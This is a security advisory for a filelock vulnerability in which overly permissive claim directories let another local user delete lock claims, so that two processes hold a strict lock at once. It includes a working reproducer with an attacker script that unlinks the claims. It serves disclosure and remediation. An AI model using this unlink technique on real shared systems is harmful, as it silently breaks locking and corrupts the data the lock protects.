CVE-2026-112908

StrictSoftFileLock and AsyncStrictSoftFileLock apply the caller's mode to the sentinel (the lock file at <path>) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, <path>.filelock and <path>.filelock/claims, with a bare mkdir(). That gives 0o777 filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.

A hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's 0600 claims. Three settings do this: umask 000 in a sticky directory such as /tmp, umask 002 with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting is_locked == True and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding ANT-2026-AD6SUOON).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): the holder must pass a restrictive mode while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask 022 and no default ACL the directories are 0755, and the kernel refuses the other user's unlink. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the holder's processes act on their own.

C:N (no confidentiality impact): the 0600 claim files stay unreadable. I:H (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. A:L (low availability impact): the same write access lets the other user create names in claims, and an empty file named held-v1-<32 zeros>.claim makes the next acquire() raise SoftFileLockProtocolError ("malformed claim record") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).

Scope and preconditions

• The holder passes a restrictive mode such as 0o600. Without one, the umask decides the permissions by documented design (the "File permissions and mode" section of docs/concepts.rst defines mode only for the lock file). Umask 000 with the default mode gives the same two-holder result but is outside this finding.

• The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with mode=0o600 and the other user a member of group team:

  lock's parent directory	holder's umask	<path>.filelock and claims/	who can unlink the claims
  1777, like /tmp	000	0777	any other local user
  root:team, 3775 (setgid, so new entries inherit the group, and sticky)	002	2775	any member of team
  root:team, 1770, default ACL group:team:rwx (setfacl -d -m g:team:rwx)	077	0770	any member of team
  root:team, 3775, no ACL	022	2755	no one; the second process times out

  The default-ACL row is the strongest. A holder with a private umask and mode=0o600 still gets group-writable claim directories. The lock file in that row is 0600, because its mode reaches os.open and masks the inherited ACL.

• A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of _ensure_protocol_directory (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.

• Directories that an affected release already created keep their mode. A 0777 <path>.filelock from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should chmod or remove existing <path>.filelock trees (see Workarounds).

• The other lock classes do not have this gap in the same setting. With umask 000 and mode=0o600, FileLock and SoftFileLock create one 0600 file and nothing else, and SoftReadWriteLock creates its directories 0700 under any umask. Platform: POSIX permission semantics; demonstrated on Linux.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the bare mkdir() sits in _ensure_protocol_directory. StrictSoftFileLock._acquire calls it for both levels without a mode. It then passes self._open_mode() to the sentinel and, through _attempt_doorway, to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. _unlink_owner_path_result counts a missing claim name as removed on release.

Introduced

The bare mkdir() arrived with the claim directories in 650c17c79c54 ("feat(strict): replace shared markers with owner claims", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.

Mechanism

A process with umask 000 that takes StrictSoftFileLock("/tmp/<dir>/x.lock", mode=0o600) leaves this on disk while it holds the lock, every entry owned by the holder:

0600 x.lock
0777 x.lock.filelock
0777 x.lock.filelock/claims
0600 x.lock.filelock/claims/held-v1-<token>.claim
0600 x.lock.filelock/claims/intent-v1-<token>.claim

Removing a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming claims/ away inside the 0777 <path>.filelock has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at <path> is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. is_locked is its own counter, and _release removes its claims by name through _unlink_owner_path_result, which takes FileNotFoundError as "already removed". The first process therefore releases with exit status 0. No force_break(), lifetime or legacy client takes part.

The other user's action is a plain unlink. The right to do it comes from filelock's mkdir, not from anything the application asked for. In the same setting the other user can neither read nor remove the 0600 sentinel in the sticky parent. With the common umask 022 and no default ACL the directories are 0755. Other users can then list the claim names, which mode=0o600 does not suggest either, but cannot remove them, and the second process times out.

Reproduction

The scanner's reproducer for finding ANT-2026-AD6SUOON, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import stat
import subprocess
import sys
import tempfile

AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": [], "text": True}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": [], "text": True}


def start_victim_service(lock_path, umask):
    command = [sys.executable, "/tmp/repro.d/victim_service.py", lock_path]
    return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)


def hold_lock_while_attacker_strikes(label, shared, victim_umask):
    lock_path = f"{shared}/umask{victim_umask:03o}.lock"
    claims = f"{lock_path}.filelock/claims"

    first = start_victim_service(lock_path, victim_umask)
    assert first.stdout.readline() == "entered\n"
    claim_files = [f"{claims}/{name}" for name in sorted(os.listdir(claims))]
    for path in (lock_path, f"{lock_path}.filelock", claims, *claim_files):
        status = os.lstat(path)
        owner = pwd.getpwuid(status.st_uid).pw_name
        print(f"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}")

    # attack, while the first victim process is inside its critical section
    attacker = subprocess.run(
        [sys.executable, "/tmp/repro.d/attacker_remove_claims.py", lock_path],
        stdout=subprocess.PIPE,
        check=True,
        **AS_ATTACKER,
    )
    for line in attacker.stdout.splitlines():
        print(f"{label}: attacker: {line}")
    claims_left = len(os.listdir(claims))
    print(f"{label}: claims left: {claims_left}")

    second = start_victim_service(lock_path, victim_umask)
    second_says = second.stdout.readline().strip()
    # the first is told to leave only after the second has answered, so an "entered" means both were inside at once
    first_says = first.communicate("leave\n")[0].strip()
    second.communicate("leave\n")
    print(f"{label}: second process: {second_says}")
    print(f"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}")

    both_inside = second_says == "entered" and first_says == "leaving, is_locked=True" and first.returncode == 0
    return claims_left, both_inside


# set up: a shared directory like /tmp, sticky and writable by everyone
shared = tempfile.mkdtemp(prefix="strict-mode-", dir="/tmp")
os.chmod(shared, 0o1777)

# the two rounds differ only in the umask the victim's processes run with
control_claims_left, control_both_inside = hold_lock_while_attacker_strikes("CONTROL umask 022", shared, 0o022)
attack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes("OBSERVED umask 000", shared, 0o000)
shutil.rmtree(shared)

# check: with mode=0o600, another user must not be able to let a second process in beside the first
print(f"CONTROL two holders at once: {control_both_inside}")
print(f"OBSERVED two holders at once: {attack_both_inside}")
control_excludes = control_claims_left == 2 and not control_both_inside
print("BUG" if control_excludes and attack_claims_left == 0 and attack_both_inside else "OK")

repro.d/attacker_remove_claims.py

import os
import sys

claims = f"{sys.argv[1]}.filelock/claims"
try:
    names = sorted(os.listdir(claims))
except PermissionError:
    print("listing denied")
    names = []

for name in names:
    try:
        os.unlink(f"{claims}/{name}")
        print(f"unlinked {name}")
    except PermissionError:
        print(f"unlink denied {name}")

repro.d/victim_service.py

import sys

from filelock import StrictSoftFileLock, Timeout

lock = StrictSoftFileLock(sys.argv[1], mode=0o600)
try:
    with lock.acquire(timeout=2):
        print("entered", flush=True)
        sys.stdin.readline()  # stay in the critical section until told to leave
        print(f"leaving, is_locked={lock.is_locked}", flush=True)
except Timeout:
    print("Timeout", flush=True)

Attack sequence

sequenceDiagram
    participant H as holder (umask 000, mode=0o600)
    participant D as x.lock.filelock/claims
    participant X as other local user
    participant C as contender (same account as the holder)
    H->>D: mkdir() both directories: 0777, claims 0600
    H->>D: publish intent and held claims, enter
    X->>D: read claim: EACCES (0600)
    rect rgb(255, 214, 214)
        X->>D: unlink both claims (directory is 0777, not sticky)
        C->>D: acquire(): scan finds no claims, publishes, enters
        Note over H,C: both inside at once
        H->>D: release(): claims missing, counted as removed, exit status 0
    end
    Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout

Evidence

The scanner's reproducer runs the holder's StrictSoftFileLock(path, mode=0o600) with timeout=2 as account victim (uid 1000) and the unlink loop as account attacker (uid 1001). Both run in a fresh root-owned 1777 directory under /tmp, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.

Under CONTROL umask 022, the directories are 0755, the kernel denies the unlinks, both claims remain, and the second process prints Timeout. Under OBSERVED umask 000, every file is still 0600 but <path>.filelock and claims/ are 0777. The other account prints unlinked held-v1-<token>.claim and unlinked intent-v1-<token>.claim followed by claims left: 0. The second process prints entered. The first process prints leaving, is_locked=True, exit status 0 when asked afterwards. The verdict lines read CONTROL two holders at once: False and OBSERVED two holders at once: True; the overall verdict is BUG. The scanner ran the umask 002 and default-ACL rows of the table by hand at the same commit with the same result.

Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #839 (OK). The review's regression test covers the owner, group-read and group-write modes.

Workarounds

Run processes that take strict locks with umask 022 or 077. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, chmod 700 (or remove, while no process holds the lock) every existing <path>.filelock tree. Its mode comes from creation time and nothing changes it afterwards: find <dir> -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/839

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

• 2026-10-15 23:08 UTC: report received (finding ANT-2026-AD6SUOON, scanned commit b831496b0273)
• 2026-10-16 01:31 UTC: fix PR #839 opened
• 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)